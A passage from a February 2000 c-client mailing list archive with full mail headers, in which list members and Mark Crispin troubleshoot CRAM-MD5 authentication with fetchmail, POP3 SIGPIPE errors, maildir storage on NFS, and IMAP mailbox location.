fetchmail: normal termination, status 3 fetchmail: Deleting fetchids file. I've added some syslog debugging to c-client/auth_md5.c, and I can see that it's reading the correct password from /etc/cram-md5.pwd. How can I figure out what's going wrong? -Dave -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Feb 11 11:58:30 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Feb 2000 11:58:30 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA15777 for ; Fri, 11 Feb 2000 11:58:28 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id LAA09326; Fri, 11 Feb 2000 11:58:26 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id LAA20387; Fri, 11 Feb 2000 11:56:41 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id LAA28952 for ; Fri, 11 Feb 2000 11:54:34 -0800 Received: from phy.hw.ac.uk (root@innpin.phy.hw.ac.uk [137.195.28.2]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA07579 for ; Fri, 11 Feb 2000 11:54:33 -0800 Received: from pc166.phy.hw.ac.uk (karsten@matterhorn.phy.hw.ac.uk [137.195.29.249]) by phy.hw.ac.uk (8.8.8/8.8.8) with ESMTP id TAA28342 for ; Fri, 11 Feb 2000 19:54:31 GMT Message-Id: <200002111954.TAA28342@phy.hw.ac.uk> Date: Fri, 11 Feb 2000 19:58:20 +0000 (GMT) Reply-To: karsten@phy.hw.ac.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Karsten Ballueder To: c-client Subject: Re[2]: some c-client questions In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V/Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=Cd|PGg=20 > Haven't had that happen. Are you using the correct access means to get = data, > in particular, all the mail_fetch_body(), etc. calls? You must *NOT* > reference the "PARTTEXT" members of the various structures -- those are > private to c-client! Their usage is driver-specific!! I will double check that. > > Also, 4.7a occasionally produces SIGPIPE interrupts on > > POP3 connections, something 4.4 never did. It only happens if the server and client run on the same host, i.e. under extremely fast network conditions. The same program works perfectly well with a remote POP server. > Do you use /etc/mlock? What is that? > Does your SSL code use pipes? The POP3 problem is there no matter whether I compile in SSL or not. -- Karsten Ball=FCder http://Ballueder.home.dhs.org/ mailto:karsten@phy.hw.= ac.uk Physics Department, Heriot-Watt University, Edinburgh, EH14 4AS, Scotland Tel. +44-(0)-131-4513068 Fax. +44-(0)-131-4513136 "In a world without fences, who needs Gates?" =20 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Feb 11 12:04:17 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Feb 2000 12:04:17 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA15464 for ; Fri, 11 Feb 2000 12:04:16 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id MAA09515; Fri, 11 Feb 2000 12:04:13 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id MAA20714; Fri, 11 Feb 2000 12:03:09 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id MAA25432 for ; Fri, 11 Feb 2000 12:00:22 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (gnof@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA08935 for ; Fri, 11 Feb 2000 12:00:21 -0800 Message-Id: Date: Fri, 11 Feb 2000 11:57:02 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Dave Sill Cc: c-client@u.washington.edu Subject: re: CRAM-MD5 In-Reply-To: <14500.26034.18414.346763@sws5.ctd.ornl.gov> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN c-client's CRAM-MD5 support has been in production use for a long time. The problem is most likely in fetchmail, and I suggest that you contact the developer of fetchmail. I seem to remember that some version of fetchmail did something bogus like write quotes around the tokens. By the way, imap-4.5 is an old version. Get imap-4.7a: ftp://ftp.cac.washington.edu/mail/imap.tar.Z Pine uses CRAM-MD5. From pinedev@shivax2.cac.washington.edu Fri Feb 11 12:07:53 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Feb 2000 12:07:53 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA15265 for ; Fri, 11 Feb 2000 12:07:52 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id MAA16288; Fri, 11 Feb 2000 12:07:50 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id MAA07588; Fri, 11 Feb 2000 12:06:33 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id MAA26056 for ; Fri, 11 Feb 2000 12:03:12 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (grid@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA09570 for ; Fri, 11 Feb 2000 12:03:12 -0800 Message-Id: Date: Fri, 11 Feb 2000 12:01:17 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: karsten@phy.hw.ac.uk Cc: c-client Subject: re: Re[2]: some c-client questions In-Reply-To: <200002111954.TAA28342@phy.hw.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 11 Feb 2000 19:58:20 +0000 (GMT), Karsten Ballueder wrote: > > > Also, 4.7a occasionally produces SIGPIPE interrupts on > > > POP3 connections, something 4.4 never did. > It only happens if the server and client run on the same > host, i.e. under extremely fast network conditions. The same > program works perfectly well with a remote POP server. > > Do you use /etc/mlock? > What is that? Then you probably don't use it, so it doesn't matter. > > Does your SSL code use pipes? > The POP3 problem is there no matter whether I compile in SSL > or not. The POP3 client code doesn't use any form of piping, and we've never seen anything like that. From pinedev@shivax2.cac.washington.edu Fri Feb 11 12:34:49 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Feb 2000 12:34:49 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA16279 for ; Fri, 11 Feb 2000 12:34:48 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id MAA10282; Fri, 11 Feb 2000 12:34:44 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id MAA09426; Fri, 11 Feb 2000 12:33:43 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id MAA43404 for ; Fri, 11 Feb 2000 12:31:16 -0800 Received: from sws5.ctd.ornl.gov (sws5.ctd.ornl.gov [128.219.128.125]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id MAA15231 for ; Fri, 11 Feb 2000 12:31:15 -0800 Received: (qmail 1233247 invoked by uid 3995); 11 Feb 2000 20:31:26 -0000 Message-Id: <14500.29085.989619.265140@sws5.ctd.ornl.gov> Date: Fri, 11 Feb 2000 15:31:25 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dave Sill To: c-client@u.washington.edu Subject: re: CRAM-MD5 In-Reply-To: References: <14500.26034.18414.346763@sws5.ctd.ornl.gov> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Face: "p~Q]mg{;e*}YR|)&Q/&Q\*~5UWfZX34;5M wrote: >c-client's CRAM-MD5 support has been in production use for a long time. The >problem is most likely in fetchmail, and I suggest that you contact the >developer of fetchmail. I seem to remember that some version of fetchmail did >something bogus like write quotes around the tokens. OK, I tried the latest version fetchmail (5.2.7) and Eudora Pro 4.2: still no good. >By the way, imap-4.5 is an old version. Get imap-4.7a: > ftp://ftp.cac.washington.edu/mail/imap.tar.Z I'm stuck with 4.5. So how can I debug this problem? -Dave From pinedev@shivax2.cac.washington.edu Fri Feb 11 12:42:46 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Feb 2000 12:42:45 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA15379 for ; Fri, 11 Feb 2000 12:42:44 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id MAA17275; Fri, 11 Feb 2000 12:42:43 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id MAA00771; Fri, 11 Feb 2000 12:41:24 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id MAA18372 for ; Fri, 11 Feb 2000 12:39:05 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (trebor@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id MAA19571 for ; Fri, 11 Feb 2000 12:39:05 -0800 Message-Id: Date: Fri, 11 Feb 2000 12:36:03 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Dave Sill Cc: c-client@u.washington.edu Subject: re: CRAM-MD5 In-Reply-To: <14500.29085.989619.265140@sws5.ctd.ornl.gov> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 11 Feb 2000 15:31:25 -0500 (EST), Dave Sill wrote: > OK, I tried the latest version fetchmail (5.2.7) and Eudora Pro 4.2: > still no good. Is the entry in your /etc/cram-md5.pwd file in the exact format as described; that is, user name, TAB, password, NEWLINE? Make sure you don't have any extraneous spaces, etc. in the file. > I'm stuck with 4.5. Why? 4.5 has known performance problems. From pinedev@shivax2.cac.washington.edu Fri Feb 11 12:49:47 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Feb 2000 12:49:46 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA14312 for ; Fri, 11 Feb 2000 12:49:45 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id MAA17484; Fri, 11 Feb 2000 12:49:43 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id MAA23642; Fri, 11 Feb 2000 12:48:28 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id MAA47026 for ; Fri, 11 Feb 2000 12:46:36 -0800 Received: from sws5.ctd.ornl.gov (sws5.ctd.ornl.gov [128.219.128.125]) by mxu1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id MAA03429 for ; Fri, 11 Feb 2000 12:46:35 -0800 Received: (qmail 1223709 invoked by uid 3995); 11 Feb 2000 20:46:46 -0000 Message-Id: <14500.30006.494217.53888@sws5.ctd.ornl.gov> Date: Fri, 11 Feb 2000 15:46:46 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dave Sill To: c-client@u.washington.edu Subject: re: CRAM-MD5 In-Reply-To: References: <14500.29085.989619.265140@sws5.ctd.ornl.gov> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Face: "p~Q]mg{;e*}YR|)&Q/&Q\*~5UWfZX34;5M wrote: >On Fri, 11 Feb 2000 15:31:25 -0500 (EST), Dave Sill wrote: >> OK, I tried the latest version fetchmail (5.2.7) and Eudora Pro 4.2: >> still no good. > >Is the entry in your /etc/cram-md5.pwd file in the exact format as described; >that is, user name, TAB, password, NEWLINE? Yep: # od -c > I'm stuck with 4.5. > >Why? 4.5 has known performance problems. The mailboxes are on a Netapp filer, so I need to use maildir format for reliable delivery via NFS. The only version of imap that has been patched for maildir is 4.5. If you know another way to do this, I'm open to suggestions. -Dave From pinedev@shivax2.cac.washington.edu Fri Feb 11 13:11:40 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Feb 2000 13:11:40 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA28229 for ; Fri, 11 Feb 2000 13:11:39 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id NAA18025; Fri, 11 Feb 2000 13:11:35 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id NAA01993; Fri, 11 Feb 2000 13:09:07 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id MAA54706 for ; Fri, 11 Feb 2000 12:56:42 -0800 Received: from ulysses.noc.ntua.gr (ulysses.noc.ntua.gr [147.102.222.230]) by mxu4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id MAA17896 for ; Fri, 11 Feb 2000 12:56:41 -0800 Received: from dblab.ece.ntua.gr (ithaca.dbnet.ece.ntua.gr [147.102.12.1]) by ulysses.noc.ntua.gr (8.9.3/8.9.3) with ESMTP id WAA25965; Fri, 11 Feb 2000 22:56:39 +0200 (EET) Received: from mbazo.dbnet.ece.ntua.gr (mbazo.dbnet.ece.ntua.gr [147.102.12.8]) by dblab.ece.ntua.gr (8.10.0.Beta12/8.10.0.Beta12) with ESMTP id e1BKudN68253; Fri, 11 Feb 2000 22:56:39 +0200 (EET) Message-Id: <200002112056.e1BKudN68253@dblab.ece.ntua.gr> Date: Fri, 11 Feb 2000 22:56:39 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Yiorgos Adamopoulos To: Dave Sill Cc: c-client@u.washington.edu Subject: re: CRAM-MD5 In-Reply-To: <14500.30006.494217.53888@sws5.ctd.ornl.gov> References: <14500.30006.494217.53888@sws5.ctd.ornl.gov> <14500.29085.989619.265140@sws5.ctd.ornl.gov> X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Message-ID: Priority: NORMAL X-Mailer: Execmail for Win32 Version 5.0.1 Build (55) MIME-Version: 1.0 Content-Type: Text/Plain; charset="us-ascii" On Fri, 11 Feb 2000 15:46:46 -0500 (EST) Dave Sill wrote: > The mailboxes are on a Netapp filer, so I need to use maildir format > for reliable delivery via NFS. The only version of imap that has been > patched for maildir is 4.5. > > If you know another way to do this, I'm open to suggestions. Dave, Two ways: 1- [painfull] merge the patches with the current source 2- http://www.inter7.com/courrierimap/ (this I got from http://www.ntua.gr/qmail/top.html) -- kachinadtm@my-deja.com wrote in comp.lang.dylan: > The *right* people have to be recruited, not hired. From pinedev@shivax2.cac.washington.edu Fri Feb 11 13:14:36 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Feb 2000 13:14:36 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA17488 for ; Fri, 11 Feb 2000 13:14:35 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id NAA18088; Fri, 11 Feb 2000 13:14:32 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id NAA11593; Fri, 11 Feb 2000 13:12:32 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id NAA28546 for ; Fri, 11 Feb 2000 13:01:46 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (alex@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id NAA18740 for ; Fri, 11 Feb 2000 13:01:46 -0800 Message-Id: Date: Fri, 11 Feb 2000 12:51:03 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Dave Sill Cc: c-client@u.washington.edu Subject: re: CRAM-MD5 In-Reply-To: <14500.30006.494217.53888@sws5.ctd.ornl.gov> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 11 Feb 2000 15:46:46 -0500 (EST), Dave Sill wrote: > >> I'm stuck with 4.5. > >Why? 4.5 has known performance problems. > The mailboxes are on a Netapp filer, so I need to use maildir format > for reliable delivery via NFS. The only version of imap that has been > patched for maildir is 4.5. You do not need maildir to do reliable delivery via NFS. You just need to make sure that the /var/spool/mail directory is protected 1777. The issues caused by NFS are in multiple MUAs accessing the same mailbox, and maildir isn't going to help you with that. Without a Cyrus-style index database (which stores all the internaldates, rfc822.sizes, envelopes, bodystructures, and header texts) to avoid all those open() and stat() calls, maildir-style storage techniques are much slower than the traditional UNIX format of mail. Such a database precludes the use of NFS, so you're back to where you started. It's generally a bad idea to use NFS for mailboxes, or for that matter any other kind of database which has multiple simultaneous read/write access. You're not gaining any performance by using it. NFS is alright for C source files and text files, that kind of thing. From pinedev@shivax2.cac.washington.edu Sat Feb 12 07:17:18 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sat, 12 Feb 2000 07:17:17 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA02286 for ; Sat, 12 Feb 2000 07:17:16 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id HAA05215; Sat, 12 Feb 2000 07:17:14 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id HAA28261; Sat, 12 Feb 2000 07:16:09 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id HAA27294 for ; Sat, 12 Feb 2000 07:13:05 -0800 Received: from pmail1.gmx.net (pmail1.gmx.net [194.221.183.71]) by mxu1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id HAA04216 for ; Sat, 12 Feb 2000 07:13:04 -0800 Received: (qmail 12977 invoked by uid 0); 12 Feb 2000 15:12:59 -0000 Received: from asf-dus241.dusnet.de (HELO sylt.fmi.uni-passau.de) (213.61.158.241) by pmail1.gmx.net with SMTP; 12 Feb 2000 15:12:59 -0000 Message-Id: <20000212.15173500@sylt.fmi.uni-passau.de> Date: Sat, 12 Feb 2000 15:17:35 GMT Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jens Krinke To: c-client@u.washington.edu Subject: /var/imap/$USER MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-Priority: 3 (Normal) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, how do I get the imap server to store the messages in a directory like=20 /var/imap/$USER instead of the users $HOME? Maybe this is a FAQ,=20 however I can't find reference to it. Thanks, Jens Krinke -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sat Feb 12 10:18:11 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sat, 12 Feb 2000 10:18:11 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA02988 for ; Sat, 12 Feb 2000 10:18:10 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id KAA07704; Sat, 12 Feb 2000 10:18:08 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id KAA01893; Sat, 12 Feb 2000 10:15:59 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id KAA43308 for ; Sat, 12 Feb 2000 10:15:03 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (john@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id KAA14070 for ; Sat, 12 Feb 2000 10:15:03 -0800 Message-Id: Date: Sat, 12 Feb 2000 10:13:47 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jens Krinke Cc: c-client@u.washington.edu Subject: re: /var/imap/$USER In-Reply-To: <20000212.15173500@sylt.fmi.uni-passau.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sat, 12 Feb 2000 15:17:35 GMT, Jens Krinke wrote: > how do I get the imap server to store the messages in a directory like > /var/imap/$USER instead of the users $HOME? Maybe this is a FAQ, > however I can't find reference to it. Please read imap-4.[]/docs/CONFIG, example 2. If you don't have the sources, get them from ftp://ftp.cac.washington.edu/mail/imap.tar.Z From pinedev@shivax2.cac.washington.edu Sun Feb 13 05:30:16 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sun, 13 Feb 2000 05:30:15 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id FAA19773 for ; Sun, 13 Feb 2000 05:30:14 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id FAA24263; Sun, 13 Feb 2000 05:30:12 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id FAA12155; Sun, 13 Feb 2000 05:29:06 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id FAA34460 for ; Sun, 13 Feb 2000 05:27:59 -0800 Received: from pmail1.gmx.net (pmail1.gmx.net [194.221.183.71]) by mxu4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id FAA22886 for ; Sun, 13 Feb 2000 05:27:58 -0800 Received: (qmail 12794 invoked by uid 0); 13 Feb 2000 13:27:54 -0000 Received: from asd-dus175.dusnet.de (HELO sylt.fmi.uni-passau.de) (213.61.159.175) by pmail1.gmx.net with SMTP; 13 Feb 2000 13:27:54 -0000 Message-Id: <20000213.13323300@sylt.fmi.uni-passau.de> Date: Sun, 13 Feb 2000 13:32:33 GMT Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jens Krinke To: Mark Crispin Cc: c-client@u.washington.edu Subject: re: /var/imap/$USER In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-Priority: 3 (Normal) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > Please read imap-4.[]/docs/CONFIG, example 2. If you don't have the=20 sources, > get them from ftp://ftp.cac.washington.edu/mail/imap.tar.Z So there is no other way than changing the source? What is black=20 box-mode, can this be used for that purpose? Thanks, Jens From pinedev@shivax2.cac.washington.edu Sun Feb 13 23:31:25 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sun, 13 Feb 2000 23:31:25 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id XAA18264 for ; Sun, 13 Feb 2000 23:31:23 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id XAA00594; Sun, 13 Feb 2000 23:31:21 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id XAA16871; Sun, 13 Feb 2000 23:30:26 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id XAA25204 for ; Sun, 13 